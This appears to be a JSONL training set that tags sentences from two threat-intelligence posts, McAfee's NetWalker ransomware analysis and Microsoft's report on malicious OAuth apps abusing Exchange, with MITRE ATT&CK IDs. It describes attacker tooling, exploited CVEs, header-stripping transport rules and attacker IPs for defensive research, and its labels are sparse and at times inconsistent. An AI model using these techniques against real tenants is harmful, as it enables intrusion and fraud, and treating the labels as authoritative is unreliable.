{"sentence": "Conversation with NetWalker operators The download is done directly from the NetWalker Tor site, where the payment page switches to a download page certifying that the payment was made and received: Figure 19.", "labels": ["T1105"], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Decryptor download The decryptor is delivered in a zip archive containing the decryptor executable and a note explaining how to run the program correctly: Figure 20.", "labels": ["T1140"], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Decryptor delivery The program launches a graphical interface allowing the user to decipher their workstation automatically or manually: Figure 21.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Decryptor execution At the end of the decryption process, the program indicates the number of decrypted files, deletes the ransom note if the user has checked that option, and terminates, leaving the user to resume their work peacefully: Figure 22.", "labels": ["T1070.004", "T1140"], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Decryptor has finished the decryption process The decryptor program appears unique and is linked to one victim specifically.", "labels": ["T1140"], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "In our example, it only decrypts the files belonging to the victim who made the payment from the user key specified in the ransom note.", "labels": ["T1140"], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Underground Advertising In March 2020, the moniker Bugatti began actively advertising the NetWalker Ransomware-as-a-Service on two popular underground fora.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Bugatti seems to have joined the underground scene in February 2020 but claims to have been active with NetWalker ransomware since September 2019.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "We have seen NetWalker activity before March but there has been a noticeable uptick in larger victims since their advertisement.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "For a relatively new ransomware it has been well received and respected among other cybercriminals as compared to, for instance, Nemty ransomware.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "The strength of NetWalker’s reputation is such that our current hypothesis is that the individual behind Bugatti is most likely a well-respected and experienced cybercriminal, even though it is a new moniker.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Figure 23.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Bugatti advertising NetWalker on an underground forum Bugatti provides regular updates on the improvements in the ransomware, such as the popular Invoke-ReflectivePEInjection method, also commonly used by Sodinokibi.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "In addition to the improvements in the ransomware, open slots for new affiliates are advertised.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Bugatti strongly emphasized that they are primarily looking for experienced affiliates that focus on compromising the complete networks of organizations as opposed to end users.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "NetWalker is clearly following in the footsteps of its illustrious targeted ransomware peers like Sodinokibi, Maze and Ryuk.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "One forum message in particular caught our attention as it included screenshots of several partial bitcoin addresses and USD amounts.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "This was most likely done to showcase the financial success of the ransomware.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "We have seen a similar posting in the past with the influential Sodinokibi affiliate Lalartu, so we decided to follow the money once more. Figure 24.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Bugatti is looking for advanced affiliates and shows samples of BTC payments With the help of CipherTrace software we were able to find the complete BTC addresses from the screenshot and investigate the ledger further: Screenshot 1 3JHTYZhRmMcq7WCKRzFN98vWvAZk792w9J Screenshot 2 39aovzbz5rGoQdKjDm6JiybkSu1uGdVJ2V Screenshot 3 39NRnZtgACDVhhmc7RwmvH9ZDUKTNwwaeB Screenshot 4 3L4AW5kHnUCZBBjg2j1LBFCUN1RsHPLxCs Following the Money In the transactions mentioned in the underground forum post, the ransom amount payed by the victims is presumably shown.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Since the bitcoin blockchain is a publicly accessible ledger, we can follow the money and see where the ransomware actors are transferring it to.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "In the case of the four posted transactions above, the full amount payed by the victim was transferred to two addresses (these addresses begin with bc1q98 and 1DgLhG respectively).", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "It is safe to say that these two bitcoin addresses are under control of the NetWalker actors.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "We then proceeded on to analyze all incoming transactions to these two addresses and we were able to make the following observations: The first incoming transaction occurs on 1 March 2020.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "On 30 March 2020 the first incoming transaction appears where the amount is split between 4 different bitcoin addresses.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "A split like this is typically seen in Ransomware-as-a-Service, where the ransom payment is split between the RaaS operators and the affiliate who caused the infection.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "In this first transaction, the split is 80%, 10% and two 5% portions.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "This split matches the advertisement on the underground forum (80% – 20%).", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "The two 5% portions of the ransom payments that are split, seem to be consistently transferred to the two bitcoin addresses we revealed earlier (bc1q98 and 1DgLhG).", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "While the beneficiaries of the 5% cuts remain the same, the beneficiary of the 10% cut seems to change over time.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Based on the forum post we assume these addresses also belong to the NetWalker actors.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Payments to the bc1q98 and 1DgLhG addresses that are not being split continue up until the end of May.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Possibly the initial NetWalker operators added a RaaS operation, while continuing to cause NetWalker infections themselves.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "While analyzing the bitcoin addresses that received 80% or more of the transaction amount, we noticed that there are some addresses that receive payments multiple times.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "A possible explanation could be that the address is configured as payout addresses for a certain campaign or affiliate.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "We identified 30 unique bitcoin addresses that seem to be the beneficiary of this larger portion of the ransom transaction.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Some of these only received one payment but there are several that received multiple payments.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "In the two addresses uncovered by tracing the transactions a total of 641 bitcoin is held on 27 July 2020.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Which at the current market value of bitcoin is worth well over 7 million USD.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Amounts Extorted Working under the hypothesis that all the incoming transactions are ransomware payments; we can make the following observations: We found 23 transactions where the ransom payments were not split up and the beneficiaries are the two bitcoin addresses found by following the transactions mentioned in the underground forum post.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "The total amount of bitcoin extorted this way between 1 March 2020 and 27 July 2020 is 677 BTC.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Additionally, the amount received from remaining transactions following the Ransomware-as-a-Service scheme by these addresses between 1 March 2020 and 27 July 2020 is 188 BTC.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "In the transactions that are split, the largest amount (usually 80% to 90% of the total transaction value) is presumably transferred to the affiliate that caused the infection.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "When we summed up these largest portions, we saw a total of 1723 BTC being transferred to affiliates.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "The total amount of extorted bitcoin that has been uncovered by tracing transactions to these NetWalker related addresses is 2795 BTC between 1 March 2020 and 27 July 2020.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "By using historic bitcoin to USD exchange rates, we estimate a total of 25 million USD was extorted with these NetWalker related transactions.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Even though we do not have complete visibility into the BTC flow before NetWalker started ramping up, one thing is certain, this quarter alone it has been highly successful at extorting organisations for large amounts of money.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "All this at a time when many sectors are struggling because people are sheltering in place and governments are trying to keep businesses from going bankrupt.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "NetWalker is making millions off the backs of legitimate companies.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Figure 25.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Overview of uncovered bitcoin transactions, highlighting the two identified actor addresses.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Observed Changes While talking about the impact of NetWalker with our partners, we learned that the change in modus operandi not only affected the way the actors communicate with their victims.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "When there was a change from email communication to a dedicated Tor hidden service, the actors also moved away from using legacy bitcoin addresses to SegWit addresses.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "The benefits of using the newer SegWit addresses include faster transaction time and lower transaction cost.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "The NetWalker advertisement on the underground forum mentions instant and fully automatic payments around the time of this observed change.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "This makes us believe the ransomware actors were professionalizing their operation just before expanding to the Ransomware-as-a-Service model.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Comparison with Previous Ransomware Given the sudden appearance of NetWalker ransomware and the associated threat actor, it suggests that some prior knowledge on ransomware development or underground presence had to be in place.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Armed with this hypothesis, we searched for possible links to underground actors and other ransomware strains that might fit the bill.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "We came across one threat actor offering ransomware that caught our attention.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "It was the use of the name NetWalker, in combination with a strong ransomware connection, that sparked our interest.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Some years ago, a threat actor using the moniker Eriknetwalker was advertising ransomware on several underground forums.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "We found posts from 2016 and the latest public activity was around June 2019, several months before NetWalker ransomware made its appearance.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Figure 26.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Eriknetwalker began advertising their ransomware in 2016 (Google-translated from Russian)", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Based on our underground research, we linked the moniker Eriknetwalker to the development and/or distribution of Amnesia, Bomber and Scarab ransomware.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Eriknetwalker stopped advertising ransomware around June 2019.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Therefore, we decided to perform a comparative analysis between the different ransomware strains linked to Eriknetwalker and some of the earliest versions of NetWalker we could find.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "The goal of this comparative analysis was to identify whether there was an overlap between source codes.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Such overlap could suggest a stronger link between the current NetWalker version and the other ransomware versions from Eriknetwalker, possibly even explaining the name overlap.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "To execute the analysis, we used several tools one of which was the binary visualization tool Veles, which dynamically translates binary information into an abstract visualization that allows us to identify and compare patterns.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "The different types of ransomware we began analyzing were the variants of Amnesia, Scarab, and NetWalker.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Figure 27.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Flat visualization of binary data of the different ransomware variants Figure 28.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "3D visualization of binary data of the different ransomware variants Visualizing data in such a manner is a way to use the human brain to quickly identify patterns and be able to draw comparisons between objects.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "In our case, we see that, based on the binary data visualized in Figures 27 and 28, the ransomware binaries do yield differences that we cannot ignore.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Figure 29.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Comparison of source code results Figure 29 shows the results of a source code similarity analysis led on the different variants of ransomware named in the figure itself.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Interesting enough, Scarab and Amnesia show a higher overlap with Buran and Zeppelin than the early NetWalker samples.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "The percentages shown are the amount of code that is similar between two variants.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "As illustrated in the overview, the September 2019 NetWalker version has a different codebase from the ErikNetWalker-linked ransomware variants.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "This finding disproves our earlier hypothesis that NetWalker is linked to the older Amnesia variants based on code overlap.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Often, research teams do not publish their results when it disproves their own hypothesis.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "However, for the sake of transparency, we decided to include our research efforts.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "YARA Rules We uploaded a YARA rule to detect almost all the samples observed in the wild to date.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Indicators of Compromise During our investigation we have observed numerous IoCs linked to NetWalker ransomware.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "To obtain them please visit our McAfee ATR GitHub site, or get the latest NetWalker IoCs and intelligence on many other threats with McAfee Insights.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "MITRE ATT&CK Techniques", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "The below techniques were based on our research and complemented with research from industry peers.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Initial Access Exploit Public-Facing Application (T1190) : Exploit Tomcat, Exploit WebLogic Spear phishing Attachment (T1566.001):", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Phishing email Valid Accounts (T1078): RDP compromised Execution PowerShell (T1059.001):", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "PowerShell Script Command and Scripting Interpreter:", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Windows Command Shell (003) Service Execution (T1569.002):", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "PsExec Native API (T1106): Use Windows API functions to inject DLL Windows Management Instrumentation (T1047) Persistence Registry Run Key (T1547.001):", "labels": ["T1055", "T1106"], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Place a value on RunOnce key Modify Registry key (T1112): Create its own registry key in \\SOFTWARE\\<uniquename> Privilege Escalation Exploitation for Privilege Escalation (T1068): CVE-2020-0796, CVE-2019-1458, CVE-2017-0213, CVE-2015-1701 Process Injection (T1055.001): Reflective DLL Injection Defense Evasion Disabling Security Tools (T1562.001): ESET AV Remover, Trend Micro’s Security Agent Uninstall Tool, Microsoft Security Client Uninstall Process Injection (T1055.001): Reflective DLL Injection Deobfuscate/Decode Files or Information (T1140) Obfuscated Files or Information (T1027): PowerShell Script uses Base64 and hexadecimal encoding and XOR-encryption Credential Access Credential Dumping (T1003): Mimikatz, Mimidogz, Mimikittenz, Windows Credentials Editor, Pwdump, LaZagne Brute Force (T1110.001): NLBrute Discovery Network Service Scanning (T1046): SoftPerfect Network Scanner Security Software Discovery (T1518.001)", "labels": ["T1027", "T1112", "T1547.001"], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "System Information Discovery (T1082) Lateral Movement Third-Party Software (T1072): TeamViewer, Anydesk Service Execution (T 1569.002): PsExec Lateral Tool Transfer (T1570) Collection Data from information repositories (T1213) Data from local system (T1005) Data from network shared drive (T1039) Command and Control Ingress Tool Transfer (T1105)", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Impact Data Encrypted (T1486): NetWalker Ransomware Inhibit System Recovery (T1490): Shadow Copies Deleted Service Stop (T1489) Conclusion Ransomware has evolved into a lucrative business for threat actors, from underground forums selling ransomware, to offering services such as support portals to guide victims through acquiring crypto currency for payment, to the negotiation of the ransom.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "McAfee’s Advanced Threat Research team has analysed the NetWalker ransomware and have been following its evolution from the initial sighting of the Mailto ransomware to its redevelopment into the NetWalker ransomware.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "The recent shift to a business-centric model of Ransomware-as-a-Service is a clear sign that it is stepping up, so it seems that the NetWalker group is following in the footsteps of REvil and other successful RaaS groups.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "The ransomware developers have proven the ability to refocus and capitalize on current world events and develop lures to help ensure the effectiveness of the ransomware, which has allowed them to become selective of their affiliates by limiting access to the ransomware to only those with vetted access to large organizations.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "As development of the ransomware continues, we have witnessed recent shifts in activity that closely follow in the footsteps of other ransomware developments, including threatening victims with the release of confidential information if the ransom is not met.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "McAfee ATR is actively monitoring ransomware threats and will continue to update McAfee MVISION Insights and its social networking channels with new and current information.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "MVISION Insights is the only proactive endpoint security solution that simultaneously prioritizes and predicts threats that matter to our customers while offering prescriptive guidance on what to do in their local environment.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Want to stay ahead of the adversaries?", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Check out McAfee MVISION Insights for more information.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "If you want to experience some of the MVISION Insights capabilities, go the Preview of MVISION Insights where you can select the top threat information that is available.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Authored by: Thibault Seret, Valentine Mairet, Jeffrey Sman, Alfred Alvarado, Tim Hux, Alexandre Mundo, John Fokker, Marc Rivero Lopez and Thomas Roccia.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "The post Take a “NetWalk” on the Wild Side appeared first on McAfee Blog.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Microsoft researchers recently investigated an attack where malicious OAuth applications were deployed on compromised cloud tenants and then used to control Exchange servers and spread spam.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "The investigation revealed that the threat actor launched credential stuffing attacks against high-risk accounts that didn’t have multi-factor authentication (MFA) enabled and leveraged the unsecured administrator accounts to gain initial access.", "labels": ["T1110"], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "The unauthorized access to the cloud tenant enabled the actor to create a malicious OAuth application that added a malicious inbound connector in the email server.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "The actor then used the malicious inbound connector to send spam emails that looked like they originated from the targets’ domain.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "The spam emails were sent as part of a deceptive sweepstakes scheme meant to trick recipients into signing up for recurring paid subscriptions.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "Microsoft has been monitoring the rising popularity of OAuth application abuse.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "One of the first observed malicious usage of OAuth applications in the wild is consent phishing.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "Consent phishing attacks aim to trick users into granting permissions to malicious OAuth apps to gain access to user’s legitimate cloud services (mail servers, files storage, management APIs, etc.).", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "In the past few years, Microsoft has observed that more and more threat actors, including nation-state actors, have been using OAuth applications for different malicious purposes – command-and-control (C2) communication, backdoors, phishing, redirections, and so on.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "This recent attack involved a network of single-tenant applications installed in compromised organizations being used as the actor’s identity platform to perform the attack.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "As soon as the network was revealed, all the related applications were taken down and notifications to customers were sent, including recommended remediation steps.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "This blog presents the technical analysis of this attack vector and the succeeding spam campaign attempted by the threat actor.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "It also provides guidance for defenders on protecting organizations from this threat, and how Microsoft security technologies detect it. Figure 1.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "Overview of the attack chain.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "The time between application deployment and usage varied; there were cases where the actor took months before using the application.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "Initial access For the attack to succeed, the threat actor needed to compromise cloud tenant users with sufficient permissions that would allow the actor to create an application in the cloud environment and give it admin consent.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "The actor performed credential stuffing attacks against their targets, attempting to access users with the global admin role.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "The authentication attempts, which originated from a single IP address, were launched against the Azure Active Directory PowerShell application (app ID: 1b730954-1685-4b74-9bfd-dac224a7b894).", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "The same application was later used to deploy the rest of the attack.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "Based on the success ratio of the authentication attempts, it is inferred that the attacker used a dump of compromised credentials.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "The investigation also revealed that 86% of the compromised tenants had at least one admin with a real-time high risk score, which means they were flagged by Azure AD Identity Protection to be most likely compromised.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "It is also important to note that all the compromised admins didn’t have MFA enabled, which could have stopped the attack.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "These observations amplify the importance of securing accounts and monitoring for high-risk users, especially those with high privileges.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "Deploying malicious OAuth application Once the threat actor gained access to privileged users, their next step was to set up the malicious application.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "Based on analysis of the event user agent (Swagger-Codegen/1.4.0.0/csharp) and how quickly the deployment of the application was done, it is likely that the actor ran a PowerShell script to perform the following Azure Active Directory (AAD) management activities in all targeted tenants: Register a new single–tenant application with the naming convention of [domain name]_([a-zA-Z]){3} (for example: Contoso_GhY)Add the legacy permission Exchange.ManageAsApp which can be used for app-only authentication of Exchange Online PowerShell moduleGrant admin consent to the above permissionGive global admin and Exchange admin roles to the previously registered applicationAdd application credentials (key/certificate/both) The threat actor added their own credentials to the OAuth application, which enabled them to access the application even if the initially compromised global administrator changed their password.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "The activities mentioned gave the threat actor control of a highly privileged application.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "It was observed that the threat actor did not always use the application right after it was deployed.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "In some cases, it took weeks or months before the application was utilized.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "Also, in organizations that didn’t monitor for suspicious applications, the applications were deployed for months and used multiple times by the threat actor.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "Modifying Exchange settings The threat actor used the privileged application to authenticate the Exchange Online PowerShell module and modify the Exchange settings of the compromised server.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "There were two modifications which allowed them to perform the next step in the attack chain: Create a new inbound connector Connectors are a collection of instructions that customize the way email flows to and from organizations using Microsoft 365 or Office 365.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "Most organizations using Microsoft 365 and Office 365 don’t need custom connectors for regular mail flow, but some use it when they need to process messages from another messaging system that’s not running Exchange, or if they have a network appliance that performs policy checks and then routes messages to their Exchange server.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "The threat actor set a new inbound connector with the naming convention Ran_([a-zA-Z]){5} (for example Ran_xAFzd).", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "The purpose of the inbound connector was to allow mails from certain IPs (that are related to the attacker’s infrastructure) to flow through the victim’s Exchange server.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "This allowed the threat actor to send emails that looked like they originated from the compromised Exchange domain.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "The configuration information for the newly created connectors were seen in Exchange audit event New-InboundConnector.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "The following table shows the configuration parameters in the audit event related to this change: NameValue“Name”“Ran_jBelh”“Enabled”“True”“CloudServicesMailEnabled”“True”“RestrictDomainsToCertificate”“False”“SenderDomains”“smtp:*;1”“SenderIPAddresses”“170.75.174.97;170.75.172.8;170.75.170.69;170.75.174.95; 54.39.94.145;149.56.200.36;158.69.21.185;66.70.201.131”“RestrictDomainsToIPAddresses”“True”“ConnectorSource”“HybridWizard”“EFSkipIPs”“170.75.174.97;170.75.172.8;170.75.170.69;170.75.174.95; 54.39.94.145;149.56.200.36;158.69.21.185;66.70.201.131”“TreatMessagesAsInternal”“False”“ConnectorType”“OnPremises”“RequireTls”“False”Create transport rules Transport rules (also known as mail flow rules) are sets of actions that can be taken on any mail that flows in the organization.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "The threat actor utilized this feature to set 12 new transport rules with the naming convention of Test01 to Test012.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "Each of these transport rules were responsible for deleting the following specific headers from every mail that flowed in the organization: X-MS-Exchange-ExternalOriginalInternetSenderX-MS-Exchange-SkipListedInternetSenderReceived-SPFReceivedARC-Authentication-ResultsARC-Message-SignatureDKIM-SignatureARC-SealX-MS-Exchange-SenderADCheckX-MS-Exchange-Authentication-ResultsAuthentication-ResultsX-MS-Exchange-AntiSpam-MessageData-ChunkCountBy deleting these headers, the attacker tried defense evasion to prevent security products or email providers detecting or blocking their emails and increase the success rate of the spam campaign.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "The configuration information for the newly created transport rules were seen in Exchange audit event New-TransportRule.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "The following table shows the configuration parameters in the audit event related to this change: NameValue“Name”“Test06”“SenderAddressLocation”“Header”“RemoveHeader”“ARC-Message-Signature”These modifications to the Exchange server settings allowed the threat actor to perform their primary goal in the attack: sending out spam emails.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "After each spam campaign, the actor deleted the malicious inbound connector and transport rules to prevent detection, while the application remained deployed in the tenant until the next wave of the attack (in some cases, the app was dormant for months before it was reused by the threat actor).", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "Figure 2.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "An example of the PowerShell script used for setting new Exchange connector and transport rulesSpam email campaign sent through Exchange connector The actor behind this attack has been actively running spam email campaigns for many years.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
